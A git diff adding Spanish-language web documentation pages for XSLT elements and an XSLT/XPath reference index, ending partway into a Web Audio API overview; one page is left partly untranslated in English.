+<h3 id="Atributos_requeridos" name="Atributos_requeridos">Atributos requeridos</h3>
+
+<dl>
+ <dt><code>name</code></dt>
+ <dd>Indica el nombre para esta llave. Debe seguir las reglas de tipo QName.</dd>
+ <dt><code>match</code></dt>
+ <dd>Define el nodo para el que esta llave aplica.</dd>
+ <dt><code>use</code></dt>
+ <dd>Indica la expresión XPath que se usará para determinar el valor de la llave para cada uno de los nodos aplicables.</dd>
+</dl>
+
+<h3 id="Atributos_opcionales" name="Atributos_opcionales">Atributos opcionales</h3>
+
+<p>Ninguno.</p>
+
+<h3 id="Tipo" name="Tipo">Tipo</h3>
+
+<p>Elemento raíz, debe ser hijo del elemento <code>&lt;xsl:stylesheet&gt;</code> o del elemento <code>&lt;xsl:transform&gt;</code>.</p>
+
+<h3 id="Definido" name="Definido">Definido</h3>
+
+<p>XSLT, sección 12.2.</p>
+
+<h3 id="Soporte_en_Gecko" name="Soporte_en_Gecko">Soporte en Gecko</h3>
+
+<p>Soportado.</p>
diff --git a/files/es/web/xslt/message/index.html b/files/es/web/xslt/message/index.html
new file mode 100644
index 0000000000..e30f33ebaf
--- /dev/null
+++ b/files/es/web/xslt/message/index.html
@@ -0,0 +1,40 @@
+---
+title: message
+slug: Web/XSLT/message
+tags:
+  - Todas_las_Categorías
+  - XSLT
+translation_of: Web/XSLT/Element/message
+---
+<p>{{XsltRef}}</p>
+
+<p>El elemento <code>&lt;xsl:message&gt;</code> muestra un mensaje (en la consola JavaScript en NS) y opcionalmente termina la ejecución de la hoja de estilos. Puede ser util para depuración.</p>
+
+<h3 id="Sintaxis" name="Sintaxis">Sintaxis</h3>
+
+<pre>&lt;xsl:message terminate="yes" | "no" &gt;
+	PLANTILLA
+&lt;/xsl:message&gt;</pre>
+
+<h3 id="Atributos_requeridos" name="Atributos_requeridos">Atributos requeridos</h3>
+
+<p>Ninguno.</p>
+
+<h3 id="Atributos_opcionales" name="Atributos_opcionales">Atributos opcionales</h3>
+
+<dl>
+ <dt><code>terminate</code></dt>
+ <dd>Establecido a "<code>yes</code>", indica que debe terminar la ejecución. El valor por defecto es "<code>no</code>", en cuyo caso se muestra el mensaje y continúa la ejecución.</dd>
+</dl>
+
+<h3 id="Tipo" name="Tipo">Tipo</h3>
+
+<p>Instrucción, aparece dentro de una plantilla.</p>
+
+<h3 id="Definido" name="Definido">Definido</h3>
+
+<p>XSLT, sección 13.</p>
+
+<h3 id="Soporte_en_Gecko" name="Soporte_en_Gecko">Soporte en Gecko</h3>
+
+<p>Soportado.</p>
diff --git a/files/es/web/xslt/namespace-alias/index.html b/files/es/web/xslt/namespace-alias/index.html
new file mode 100644
index 0000000000..24f35bef50
--- /dev/null
+++ b/files/es/web/xslt/namespace-alias/index.html
@@ -0,0 +1,42 @@
+---
+title: namespace-alias
+slug: Web/XSLT/namespace-alias
+tags:
+  - Todas_las_Categorías
+  - XSLT
+translation_of: Web/XSLT/Element/namespace-alias
+---
+<p>{{XsltRef}}</p>
+
+<p>El elemento <code>&lt;xsl:namespace-alias&gt;</code> es un mecanismo raramente usado para asociar un nombre de espacios en la hoja de estilos a otro nombre de espacios diferente en el árbol de salida. El uso más común para este elemento se da en la generación de una hoja de estilos a partir de otra hoja de estilos.</p>
+
+<p>Para prevenir que la cadena literal para el prefijo <code>xsl:</code> del elemento resultante (que simplemente debería ser copiada al árbol resultante) sea malinterpretada por el procesador, se le asigna temporalmente un nombre de espacio diferente que posteriormente es reconvertida al nombre de espacios de XSLT en el árbol de salida.</p>
+
+<h3 id="Sintaxis" name="Sintaxis">Sintaxis</h3>
+
+<pre>&lt;xsl:namespace-alias stylesheet-prefix=NOMBRE result-prefix=NOMBRE /&gt;</pre>
+
+<h3 id="Atributos_Requeridos" name="Atributos_Requeridos">Atributos Requeridos</h3>
+
+<dl>
+ <dt><code>stylesheet-prefix</code></dt>
+ <dd>Indica el nombre de espacios temporal.</dd>
+ <dt><code>result-prefix</code></dt>
+ <dd>Indica el nombre de espacios deseado en el árbol de salida.</dd>
+</dl>
+
+<h3 id="Atributos_opcionales" name="Atributos_opcionales">Atributos opcionales</h3>
+
+<p>Ninguno.</p>
+
+<h3 id="Tipo" name="Tipo">Tipo</h3>
+
+<p>Debe ser hijo directo de <code>&lt;xsl:stylesheet&gt;</code> o <code>&lt;xsl:transform&gt;</code>.</p>
+
+<h3 id="Definido" name="Definido">Definido</h3>
+
+<p>XSLT, sección 7.1.1</p>
+
+<h3 id="Soporte_en_Gecko" name="Soporte_en_Gecko">Soporte en Gecko</h3>
+
+<p>Sin soporte por el momento.</p>
diff --git a/files/es/web/xslt/number/index.html b/files/es/web/xslt/number/index.html
new file mode 100644
index 0000000000..da7238cd4f
--- /dev/null
+++ b/files/es/web/xslt/number/index.html
@@ -0,0 +1,169 @@
+---
+title: number
+slug: Web/XSLT/number
+tags:
+  - Todas_las_Categorías
+  - XSLT
+translation_of: Web/XSLT/Element/number
+---
+<p>{{XsltRef}}</p>
+
+<p>El elemento <code>&lt;xsl:number&gt;</code> hace conteos secuenciales. También puede ser usado para darle formato a los números.</p>
+
+<h3 id="Sintaxis" name="Sintaxis">Sintaxis</h3>
+
+<pre>&lt;xsl:number
+	count=EXPRESION
+	level="single" | "multiple" | "any"
+	from=EXPRESION
+	value=EXPRESION
+	format=FORMAT-STRING
+	lang=XML:LANG-CODE
+	letter-value="alphabetic" | "traditional"
+	grouping-separator=CARACTER
+	grouping-size=NUMERO  /&gt;</pre>
+
+<h3 id="Atributos_requeridos" name="Atributos_requeridos">Atributos requeridos</h3>
+
+<p>Ninguno.</p>
+
+<h3 id="Atributos_opcionales" name="Atributos_opcionales">Atributos opcionales</h3>
+
+<dl>
+ <dt><code>count</code></dt>
+ <dd>Indica que es lo que debe ser numerado de manera secuencial. Usa una expresión XPath.</dd>
+</dl>
+
+<dl>
+ <dt><code>level</code></dt>
+ <dd>Define cuantos niveles del documento deben ser tomados en cuenta para generar la secuencia numérica. Tiene 3 valores permitidos: <code>single</code>, <code>multiple</code>, y <code>any</code>. El valor por preestablecido es <code>single</code>:</dd>
+</dl>
+
+<dl>
+ <dd>
+ <dl>
+  <dt><code>single</code></dt>
+  <dd>Numera los nodos hermanos de manera secuencia, como en los listados. ... CONTINUAR DESDE AQUÍ...</dd>
+  <dd>Numbers sibling nodes sequentially, as in the items in a list. The processor goes to the first node in the <a href="es/Transforming_XML_with_XSLT/Mozilla_XSLT%2f%2fXPath_Reference/Axes/ancestor-or-self"><code>ancestor-or-self</code></a> axis that matches the <code>count</code> attribute and then counts that node plus all its preceding siblings (stopping when it reaches a match to the <code>from</code> attribute, if there is one) that also match the <code>count</code> attribute.If no match is found, the sequence will be an empty list.</dd>
+ </dl>
+ </dd>
+</dl>
+
+<dl>
+ <dd>
+ <dl>
+  <dt><code>multiple</code></dt>
+  <dd>Numbers nodes as a composite sequence that reflects the hierarchic position of the node, e.g. 1.2.2.5. (The nested format can be specified with the <code>format</code> attribute, e.g. A.1.1). The processor looks at all <a href="es/Transforming_XML_with_XSLT/Mozilla_XSLT%2f%2fXPath_Reference/Axes/ancestor"><code>ancestors</code></a> of the current node and the current node itself, stopping when it reaches a match for the <code>from</code> attribute, if there is one. For each node in this list that matches the <code>count</code> attribute, the processor counts how many preceding matching siblings it has, and adds one for the node itself. If no match is found, the sequence will be an empty list.</dd>
+ </dl>
+ </dd>
+</dl>
+
+<dl>
+ <dd>
+ <dl>
+  <dt><code>any</code> (Not supported at this time.)</dt>
+  <dd>Numbers all matching nodes, regardless of level, sequentially. The <a href="es/Transforming_XML_with_XSLT/Mozilla_XSLT%2f%2fXPath_Reference/Axes/ancestor"><code>ancestor</code></a>, <a href="es/Transforming_XML_with_XSLT/Mozilla_XSLT%2f%2fXPath_Reference/Axes/self"><code>self</code></a>, and <a href="es/Transforming_XML_with_XSLT/Mozilla_XSLT%2f%2fXPath_Reference/Axes/preceding"><code>preceding</code></a> axes are all considered. The processor starts at the current node and proceeds in reverse document order, stopping if it reaches a match to any <code>from</code> attribute. If no match to the <code>count</code> attribute is found, the sequence will be an empty list. This level is not supported at this time.</dd>
+ </dl>
+ </dd>
+</dl>
+
+<dl>
+ <dt>from</dt>
+ <dd>Specifies where the numbering should start or start over. The sequence begins with the first descendant of the node that matches the <code>from</code> attribute.</dd>
+</dl>
+
+<dl>
+ <dt>value</dt>
+ <dd>Applies a given format to a number. This is a quick way to format a user-supplied number (as opposed to a node sequence number) in any of the standard <code>&lt;xsl:number&gt;</code> formats.</dd>
+</dl>
+
+<dl>
+ <dt>format</dt>
+ <dd>Defines the format of the generated number:</dd>
+</dl>
+
+<dl>
+ <dd>
+ <dl>
+  <dt>format="1"</dt>
+  <dd>1 2 3 . . . (This is the only format supported at this time)</dd>
+ </dl>
+ </dd>
+</dl>
+
+<dl>
+ <dd>
+ <dl>
+  <dt>format="01"</dt>
+  <dd>01 02 03 . . . 09 10 11 . . .</dd>
+ </dl>
+ </dd>
+</dl>
+
+<dl>
+ <dd>
+ <dl>
+  <dt>format="a"</dt>
+  <dd>a b c . . .y z aa ab . . .</dd>
+ </dl>
+ </dd>
+</dl>
+
+<dl>
+ <dd>
+ <dl>
+  <dt>format="A"</dt>
+  <dd>A B C . . . Y Z AA AB . . .</dd>
+ </dl>
+ </dd>
+</dl>
+
+<dl>
+ <dd>
+ <dl>
+  <dt>format="i"</dt>
+  <dd>i ii iii iv v . . .</dd>
+ </dl>
+ </dd>
+</dl>
+
+<dl>
+ <dd>
+ <dl>
+  <dt>format="I"</dt>
+  <dd>I II III IV V . . .</dd>
+ </dl>
+ </dd>
+</dl>
+
+<dl>
+ <dt>lang (Not supported at this time.)</dt>
+ <dd>Specifies which language's alphabet should be used in letter-based numbering formats.</dd>
+</dl>
+
+<dl>
+ <dt>letter-value</dt>
+ <dd>Disambiguates between numbering sequences that use letters. Some languages have more than one numbering system that use letters. If both systems begin with the same token, ambiguity can arise. This attribute can have the value "<code>alphabetic</code>" or "<code>traditional</code>". The default is "<code>alphabetic</code>".</dd>
+</dl>
+
+<dl>
+ <dt>grouping-separator</dt>
+ <dd>Specifies what character should be used as the group (e.g. thousands) separator. The default is the comma (<code>,</code>).</dd>
+</dl>
+
+<dl>
+ <dt>grouping-size</dt>
+ <dd>Indicates the number of digits that make up a numeric group. The default value is "<code>3</code>".</dd>
+</dl>
+
+<h3 id="Type" name="Type">Type</h3>
+
+<p>Instruction, appears within a template.</p>
+
+<h3 id="Defined" name="Defined">Defined</h3>
+
+<p>XSLT, section 7.7</p>
+
+<h3 id="Gecko_support" name="Gecko_support">Gecko support</h3>
+
+<p>Partial support. See comments above.</p>
diff --git a/files/es/web/xslt/otherwise/index.html b/files/es/web/xslt/otherwise/index.html
new file mode 100644
index 0000000000..2150e21ad3
--- /dev/null
+++ b/files/es/web/xslt/otherwise/index.html
@@ -0,0 +1,37 @@
+---
+title: otherwise
+slug: Web/XSLT/otherwise
+tags:
+  - Todas_las_Categorías
+  - XSLT
+translation_of: Web/XSLT/Element/otherwise
+---
+<p>{{XsltRef}}</p>
+
+<p>El elemento <code>&lt;xsl:otherwise&gt;</code> se utiliza para definir la acción que se debe tomar cuando no se aplica ninguna de las condiciones <code>&lt;xsl:when&gt;</code>. Es similar a <code>else</code> or <code>default</code> en otros lenguajes de programación.</p>
+
+<h3 id="Sintaxis" name="Sintaxis">Sintaxis</h3>
+
+<pre>&lt;xsl:otherwise&gt;
+	PLANTILLA
+&lt;/xsl:otherwise&gt;</pre>
+
+<h3 id="Atributos_requeridos" name="Atributos_requeridos">Atributos requeridos</h3>
+
+<p>Ninguno.</p>
+
+<h3 id="Atributos_opcionales" name="Atributos_opcionales">Atributos opcionales</h3>
+
+<p>Ninguno.</p>
+
+<h3 id="Tipo" name="Tipo">Tipo</h3>
+
+<p>Subinstrucción, debe aparecer como el último hijo de un elemento <code>&lt;xsl:choose&gt;</code>, dentro de una plantilla.</p>
+
+<h3 id="Definido" name="Definido">Definido</h3>
+
+<p>XSLT, sección 9.2</p>
+
+<h3 id="Soporte_en_Gecko" name="Soporte_en_Gecko">Soporte en Gecko</h3>
+
+<p>Soportado.</p>
diff --git a/files/es/web/xslt/transformando_xml_con_xslt/index.html b/files/es/web/xslt/transformando_xml_con_xslt/index.html
new file mode 100644
index 0000000000..9ccd6d0a36
--- /dev/null
+++ b/files/es/web/xslt/transformando_xml_con_xslt/index.html
@@ -0,0 +1,112 @@
+---
+title: Transformando XML con XSLT
+slug: Web/XSLT/Transformando_XML_con_XSLT
+tags:
+  - Todas_las_Categorías
+  - Transformando_XML_con_XSLT
+  - XSLT
+translation_of: Web/XSLT/Transforming_XML_with_XSLT
+---
+<p>
+</p><p><br>
+</p>
+<h3 id="Introducci.C3.B3n"> <a href="es/Transformando_XML_en_XSLT/Introducci%c3%b3n">Introducción</a> </h3>
+<p>La separación del contenido y la presentación es una característica clave en el diseño de <a href="es/XML">XML</a>. La estructura de un documento XML esta diseñada para reflejar y clarificar relaciones importantes entre los aspectos individuales del contenido en si mismo, sin preocuparse de la forma en que posteriormente se visualizaran los datos. Una estructuración inteligente es particularmente importante cuando cada día se realizan más conexiones entre máquinas muy diferentes a través de la red.
+</p><p>Finalmente, gran parte del contenido almacenado en los documentos XML será mostrado al lector (humano). Dado que el navegador proporciona un interfaz conocido y flexible al usuario, es el mecanismo ideal para presentar los contenidos en XML. Construido él mismo usando numerosas tecnologías XML, Mozilla incluye todos los mecanismos necesarios para procesar tanto los documentos XML originales, como las hojas de transformación utilizadas para formatearlo y mostrarlo en HTML. Al mismo tiempo se reduce la carga del servidor, dado que el procesamiento se produce en el lado del cliente.
+</p><p>Actualmente, Gecko (el motor de visualización que utilizan Mozilla y Firefox) soporta dos tipos de hojas de estilo para XML. Para el control básico de la apariencia (como fuentes, colores, posición, etc...) Gecko utiliza <a href="es/CSS">CSS</a>, parecido al <a href="es/DHTML">DHTML</a>. Todo CSS1 y la mayor parte de CSS2 están soportados. El soporte para el estándar CSS3 está en desarrollo. Para más información sobre CSS, véase <a class="external" href="http://www.meyerweb.com/eric/css/">Eric Meyer's CSS pages</a>. Para una introducción de CSS1 y Netscape, véase <a class="external" href="http://home.netscape.com/browsers/future/standards.html#1">Browser Central page</a>.
+</p><p>El segundo tipo de hojas de transformación que soporta Gecko son las hojas de estilo XSLT, eXtensible Stylesheet Language/Transform. XSLT permite al autor de una hoja de estilo transformar un documento original XML de dos formas: manipulando y ordenando el contenido (incluyendo una reordenación general de éste si es necesario), y transformando el contenido en distintos formatos (en el caso de Netscape, se convierte al vuelo en HTML para ser mostrado por el navegador).
+</p>
+<h3 id="Referencia_de_XSLT.2FXPath"> Referencia de XSLT/XPath </h3>
+<h4 id="Elementos"> <a href="es/XSLT/Elementos">Elementos</a> </h4>
+<ul><li> <a href="es/XSLT/apply-imports">xsl:apply-imports</a> <i>(soportado)</i>
+</li><li> <a href="es/XSLT/apply-templates">xsl:apply-templates</a> <i>(soportado)</i>
+</li><li> <a href="es/XSLT/attribute">xsl:attribute</a> <i>(soportado)</i>
+</li><li> <a href="es/XSLT/attribute-set">xsl:attribute-set</a> <i>(soportado)</i>
+</li><li> <a href="es/XSLT/call-template">xsl:call-template</a> <i>(soportado)</i>
+</li><li> <a href="es/XSLT/choose">xsl:choose</a> <i>(soportado)</i>
+</li><li> <a href="es/XSLT/comment">xsl:comment</a> <i>(soportado)</i>
+</li><li> <a href="es/XSLT/copy">xsl:copy</a> <i>(soportado)</i>
+</li><li> <a href="es/XSLT/copy-of">xsl:copy-of</a> <i>(soportado)</i>
+</li><li> <a href="es/XSLT/decimal-format">xsl:decimal-format</a> <i>(soportado)</i>
+</li><li> <a href="es/XSLT/element">xsl:element</a> <i>(soportado)</i>
+</li><li> <a href="es/XSLT/fallback">xsl:fallback</a> <i>(no soportado)</i>
+</li><li> <a href="es/XSLT/for-each">xsl:for-each</a> <i>(soportado)</i>
+</li><li> <a href="es/XSLT/if">xsl:if</a> <i>(soportado)</i>
+</li><li> <a href="es/XSLT/import">xsl:import</a> <i>(soportado en la mayoría de casos)</i>
+</li><li> <a href="es/XSLT/include">xsl:include</a> <i>(soportado)</i>
+</li><li> <a href="es/XSLT/key">xsl:key</a> <i>(soportado)</i>
+</li><li> <a href="es/XSLT/message">xsl:message</a> <i>(soportado)</i>
+</li><li> <a href="es/XSLT/namespace-alias">xsl:namespace-alias</a> <i>(no soportado)</i>
+</li><li> <a href="es/XSLT/number">xsl:number</a> <i>(parcialmente soportado)</i>
+</li><li> <a href="es/XSLT/otherwise">xsl:otherwise</a> <i>(soportado)</i>
+</li><li> <a href="es/XSLT/output">xsl:output</a> <i>(parcialmente soportado)</i>
+</li><li> <a href="es/XSLT/param">xsl:param</a> <i>(soportado)</i>
+</li><li> <a href="es/XSLT/preserve-space">xsl:preserve-space</a> <i>(soportado)</i>
+</li><li> <a href="es/XSLT/processing-instruction">xsl:processing-instruction</a> </li><li> <a href="es/XSLT/sort">xsl:sort</a> <i>(soportado)</i>
+</li><li> <a href="es/XSLT/strip-space">xsl:strip-space</a> <i>(soportado)</i>
+</li><li> <a href="es/XSLT/stylesheet">xsl:stylesheet</a> <i>(parcialmente soportado)</i>
+</li><li> <a href="es/XSLT/template">xsl:template</a> <i>(soportado)</i>
+</li><li> <a href="es/XSLT/text">xsl:text</a> <i>(parcialmente supported)</i>
+</li><li> <a href="es/XSLT/transform">xsl:transform</a> <i>(soportado)</i>
+</li><li> <a href="es/XSLT/value-of">xsl:value-of</a> <i>(parcialmente soportado)</i>
+</li><li> <a href="es/XSLT/variable">xsl:variable</a> <i>(soportado)</i>
+</li><li> <a href="es/XSLT/when">xsl:when</a> <i>(soportado)</i>
+</li><li> <a href="es/XSLT/with-param">xsl:with-param</a> <i>(soportado)</i>
+</li></ul>
+<h4 id="Ejes"> <a href="es/XPath/Ejes">Ejes</a> </h4>
+<ul><li> <a href="es/XPath/Ejes/ancestor">ancestor</a> </li><li> <a href="es/XPath/Ejes/ancestor-or-self">ancestor-or-self</a> </li><li> <a href="es/XPath/Ejes/attribute">attribute</a> </li><li> <a href="es/XPath/Ejes/child">child</a> </li><li> <a href="es/XPath/Ejes/descendant">descendant</a> </li><li> <a href="es/XPath/Ejes/descendant-or-self">descendant-or-self</a> </li><li> <a href="es/XPath/Ejes/following">following</a> </li><li> <a href="es/XPath/Ejes/following-sibling">following-sibling</a> </li><li> <a href="es/XPath/Ejes/namespace">namespace</a> <i>(no soportado)</i>
+</li><li> <a href="es/XPath/Ejes/parent">parent</a> </li><li> <a href="es/XPath/Ejes/preceding">preceding</a> </li><li> <a href="es/XPath/Ejes/preceding-sibling">preceding-sibling</a> </li><li> <a href="es/XPath/Ejes/self">self</a>
+</li></ul>
+<h4 id="Funciones"> <a href="es/XPath/Funciones">Funciones</a> </h4>
+<ul><li> <a href="es/XPath/Funciones/boolean">boolean()</a> <i>(soportado)</i>
+</li><li> <a href="es/XPath/Funciones/ceiling">ceiling()</a> <i>(soportado)</i>
+</li><li> <a href="es/XPath/Funciones/concat">concat()</a> <i>(soportado)</i>
+</li><li> <a href="es/XPath/Funciones/contains">contains()</a> <i>(soportado)</i>
+</li><li> <a href="es/XPath/Funciones/count">count()</a> <i>(soportado)</i>
+</li><li> <a href="es/XPath/Funciones/current">current()</a> <i>(soportado)</i>
+</li><li> <a href="es/XPath/Funciones/document">document()</a> <i>(soportado)</i>
+</li><li> <a href="es/XPath/Funciones/element-available">element-available()</a> <i>(soportado)</i>
+</li><li> <a href="es/XPath/Funciones/false">false()</a> <i>(soportado)</i>
+</li><li> <a href="es/XPath/Funciones/floor">floor()</a> <i>(soportado)</i>
+</li><li> <a href="es/XPath/Funciones/format-number">format-number()</a> <i>(soportado)</i>
+</li><li> <a href="es/XPath/Funciones/function-available">function-available()</a> <i>(soportado)</i>
+</li><li> <a href="es/XPath/Funciones/generate-id">generate-id()</a> <i>(soportado)</i>
+</li><li> <a href="es/XPath/Funciones/id">id()</a> <i>(parcialmente soportado)</i>
+</li><li> <a href="es/XPath/Funciones/key">key()</a> <i>(soportado)</i>
+</li><li> <a href="es/XPath/Funciones/lang">lang()</a> <i>(soportado)</i>
+</li><li> <a href="es/XPath/Funciones/last">last()</a> <i>(soportado)</i>
+</li><li> <a href="es/XPath/Funciones/local-name">local-name()</a> <i>(soportado)</i>
+</li><li> <a href="es/XPath/Funciones/name">name()</a> <i>(soportado)</i>
+</li><li> <a href="es/XPath/Funciones/namespace-uri">namespace-uri()</a> <i>(soportado)</i>
+</li><li> <a href="es/XPath/Funciones/normalize-space">normalize-space()</a> <i>(soportado)</i>
+</li><li> <a href="es/XPath/Funciones/not">not()</a> <i>(soportado)</i>
+</li><li> <a href="es/XPath/Funciones/number">number()</a> <i>(soportado)</i>
+</li><li> <a href="es/XPath/Funciones/position">position()</a> <i>(soportado)</i>
+</li><li> <a href="es/XPath/Funciones/round">round()</a> <i>(soportado)</i>
+</li><li> <a href="es/XPath/Funciones/starts-with">starts-with()</a> <i>(soportado)</i>
+</li><li> <a href="es/XPath/Funciones/string">string()</a> <i>(soportado)</i>
+</li><li> <a href="es/XPath/Funciones/string-length">string-lenght()</a> <i>(soportado)</i>
+</li><li> <a href="es/XPath/Funciones/substring">substring()</a> <i>(soportado)</i>
+</li><li> <a href="es/XPath/Funciones/substring-after">substring-after()</a> <i>(soportado)</i>
+</li><li> <a href="es/XPath/Funciones/substring-before">substring-before()</a> <i>(soportado)</i>
+</li><li> <a href="es/XPath/Funciones/sum">sum()</a> <i>(soportado)</i>
+</li><li> <a href="es/XPath/Funciones/system-property">system-property()</a> <i>(soportado)</i>
+</li><li> <a href="es/XPath/Funciones/translate">translate()</a> <i>(soportado)</i>
+</li><li> <a href="es/XPath/Funciones/true">true()</a> <i>(soportado)</i>
+</li><li> <a href="es/XPath/Funciones/unparsed-entity-url">unparsed-entity-url()</a> <i>(no soportado)</i>
+</li></ul>
+<h3 id="Para_futuras_lecturas"> <a href="es/Transformando_XMLcon_XSLT/Para_Futuras_Lecturas">Para futuras lecturas</a> </h3>
+<ul><li> <a href="es/Transformando_XMLcon_XSLT/Para_Futuras_Lecturas#Libros">Libros</a> </li><li> <a href="es/Transformando_XMLcon_XSLT/Para_Futuras_Lecturas#Online">Online</a> <ul><li> <a href="es/Transformando_XMLcon_XSLT/Para_Futuras_Lecturas#El_Consorcio_del_Mundo_de_la_Web">El Consorcio del amplio mundo de la Web</a> </li><li> <a href="es/Transformando_XMLcon_XSLT/Para_Futuras_Lecturas#Portales">Portales</a> </li><li> <a href="es/Transformando_XMLcon_XSLT/Para_Futuras_Lecturas#Art.C3.ADculos">Artículos</a> </li><li> <a href="es/Transformando_XMLcon_XSLT/Para_Futuras_Lecturas#Tutoriales.2FEjemplos">Tutoriales/Ejemplos</a> </li><li> <a href="es/Transformando_XMLcon_XSLT/Para_Futuras_Lecturas#Listas_de_mails.2FGrupos_de_noticias">Listas de mails/Grupos de noticias</a>
+</li></ul>
+</li></ul>
+<h3 id=".C3.8Dndice"> <a href="es/Transformando_XML_con_XSLT/Indice">Índice</a> </h3>
+<div class="originaldocinfo">
+<h3 id="Informaci.C3.B3n_original_del_documento"> Información original del documento </h3>
+<ul><li> Copyright Information: Copyright © 2001-2003 Netscape. All rights reserved.
+</li><li> Note: This reprinted article was originally part of the DevEdge site.
+</li></ul>
+</div>
+<p><br>
+<span>Categorías</span>
+</p><p><span>enlaces interwikis</span>
+</p>{{ languages( { "en": "en/Transforming_XML_with_XSLT", "fr": "fr/Transformations_XML_avec_XSLT", "ko": "ko/Transforming_XML_with_XSLT", "pl": "pl/Transformacje_XML_z_XSLT" } ) }}
diff --git a/files/es/web/xslt/when/index.html b/files/es/web/xslt/when/index.html
new file mode 100644
index 0000000000..cda01b9e6c
--- /dev/null
+++ b/files/es/web/xslt/when/index.html
@@ -0,0 +1,40 @@
+---
+title: when
+slug: Web/XSLT/when
+tags:
+  - Todas_las_Categorías
+  - XSLT
+translation_of: Web/XSLT/Element/when
+---
+<p>{{XsltRef}}</p>
+
+<p>El elemento <code>&lt;xsl:when&gt;</code> siempre aparece dentro de un elemento <code>&lt;xsl:choose&gt;</code>, actuando como una sentencia case.</p>
+
+<h3 id="Sintaxis" name="Sintaxis">Sintaxis</h3>
+
+<pre>&lt;xsl:when test=EXPRESIÓN&gt;
+	PLANTILLA
+&lt;/xsl:when&gt;</pre>
+
+<h3 id="Atributos_requeridos" name="Atributos_requeridos">Atributos requeridos</h3>
+
+<dl>
+ <dt><code>test</code></dt>
+ <dd>Especifica una expresión booleana a evaluar. Si es cierta, se procesa el contenido del elemento; si es falsa, se ignora.</dd>
+</dl>
+
+<h3 id="Atributos_opcionales" name="Atributos_opcionales">Atributos opcionales</h3>
+
+<p>Ninguno.</p>
+
+<h3 id="Tipo" name="Tipo">Tipo</h3>
+
+<p>Subinstrucción, siempre aparece dentro de un elemento <code>&lt;xsl:choose&gt;</code>.</p>
+
+<h3 id="Definido" name="Definido">Definido</h3>
+
+<p>XSLT, sección 9.2.</p>
+
+<h3 id="Soporte_en_Gecko" name="Soporte_en_Gecko">Soporte en Gecko</h3>
+
+<p>Soportado.</p>
diff --git a/files/es/web/xslt/with-param/index.html b/files/es/web/xslt/with-param/index.html
new file mode 100644
index 0000000000..270684f4d7
--- /dev/null
+++ b/files/es/web/xslt/with-param/index.html
@@ -0,0 +1,43 @@
+---
+title: with-param
+slug: Web/XSLT/with-param
+tags:
+  - Todas_las_Categorías
+  - XSLT
+translation_of: Web/XSLT/Element/with-param
+---
+<p>{{XsltRef}}</p>
+
+<p>El elemento <code>&lt;xsl:with-param&gt;</code> establece el valor de un parámetro que se pasará a una plantilla.</p>
+
+<h3 id="Syntax" name="Syntax">Syntax</h3>
+
+<pre>&lt;xsl:with-param name=NOMBRE select=EXPRESIÓN&gt;
+	PLANTILLA
+&lt;/xsl:with-param&gt;</pre>
+
+<h3 id="Atributos_requeridos" name="Atributos_requeridos">Atributos requeridos</h3>
+
+<dl>
+ <dt><code>name</code></dt>
+ <dd>Dá a este parámetro un nombre.</dd>
+</dl>
+
+<h3 id="Atributos_opcionales" name="Atributos_opcionales">Atributos opcionales</h3>
+
+<dl>
+ <dt><code>select</code></dt>
+ <dd>Define el valor del parámtero a través de una expresión XPath. Si el elemento contiene una plantilla, se ignorará este atributo.</dd>
+</dl>
+
+<h3 id="Tipo" name="Tipo">Tipo</h3>
+
+<p>Subinstrucción, siempre aparece dentro de un elemento <code>&lt;xsl:apply-templates&gt;</code> o <code>&lt;xsl:call-template&gt;</code>.</p>
+
+<h3 id="Definido" name="Definido">Definido</h3>
+
+<p>XSLT 11.6</p>
+
+<h3 id="Soporte_en_Gecko" name="Soporte_en_Gecko">Soporte en Gecko</h3>
+
+<p>Soportado.</p>
diff --git a/files/es/web_audio_api/index.html b/files/es/web_audio_api/index.html
new file mode 100644
index 0000000000..e7cb54d803
--- /dev/null
+++ b/files/es/web_audio_api/index.html
@@ -0,0 +1,510 @@
+---
+title: Web Audio API
+slug: Web_Audio_API
+translation_of: Web/API/Web_Audio_API
+---
+<div>{{apiref("Web Audio API")}}</div>
+
+<p class="summary">La API de Audio Web provee un sistema poderoso y versatil para controlar audio en la Web, permitiendo a los desarrolladores escoger fuentes de audio, agregar efectos al audio, crear visualizaciones de audios, aplicar efectos espaciales (como paneo) y mucho más.</p>
+
+<h2 id="Conceptos_y_uso_de_audio_Web">Conceptos y uso de audio Web</h2>
+
+<p>La API de Audio Web involucra manejar operaciones de audio dentro de un <strong>contexto de audio</strong>, y ha sido diseñada para permitir <strong>enrutamiento modular</strong>. Las operaciones de audio básicas son realizadas con <strong>nodos de audio</strong>, que están enlazados juntos para formar un <strong>gráfico de enrutamiento de audio</strong>. Muchas fuentes — con diferentes tipos de diseño de canales — están soportadas incluso dentro de un único contexto. Este diseño modular provee flexibilidad para crear funciones de audio complejas con efectos dinámicos.</p>
+
+<p>Los nodos de audio están enlazados en cadenas y redes simples por sus entradas y salidas. Éstos típicamente empiezan con una o más fuentes. Las fuentes provee matrices de intensidades de sonidos (muestras) en segmentos de tiempo muy pequeños, a menudo decenas de miles de éstos por segundo.  Éstos podrían ser calculados matemáticamente (como  {{domxref("OscillatorNode")}}), o pueden ser grabaciones de archivos de audio o video (como {{domxref("AudioBufferSourceNode")}} y {{domxref("MediaElementAudioSourceNode")}}) y transmisiones de audio ({{domxref("MediaStreamAudioSourceNode")}}). De hecho, los archivos de sonido son sólo grabaciones de intensidades de sonido, que vienen desde micrófonos o instrumentos eléctricos, y mezclados en una onda única y complicada.</p>
+
+<p>Los resultados de éstos nodos podrían ser enlazados a las entradas de otros, que mezclan o modifican estas transmisiones de muestras de audio en diferentes transmisiones. Una modificación común es multiplicar las muestras por un valor para hacerlas más fuertes o silenciosas (como es el caso con {{domxref("GainNode")}}). Una vez que el sonido ha sido lo suficientemente procesado por el efecto necesario, puede ser enlazados a la entrada de un destino({{domxref("AudioContext.destination")}}), que enviá el sonido a los altavoces o auriculares. Esta última conexión sólo es necesaria si el usuario debe escuchar el audio.</p>
+
+<p>Un diagrama de flujo simple y típico para el audio web se vería algo como esto:</p>
+
+<ol>
+ <li>Crear contexto de audio</li>
+ <li>Dentro del contexto, crear fuentes — como <code>&lt;audio&gt;</code>, oscillator, stream</li>
+ <li>Crear nodos de efectos, <span class="short_text" id="result_box" lang="es"><span>tales como reverberación, filtro biquad, panner, compresor</span></span></li>
+ <li>Ecoge el destino final del audio, por ejemplo tu sistema de altavoces</li>
+ <li>Conecta las fuentes a los efectos, y los efectos al destino.</li>
+</ol>
+
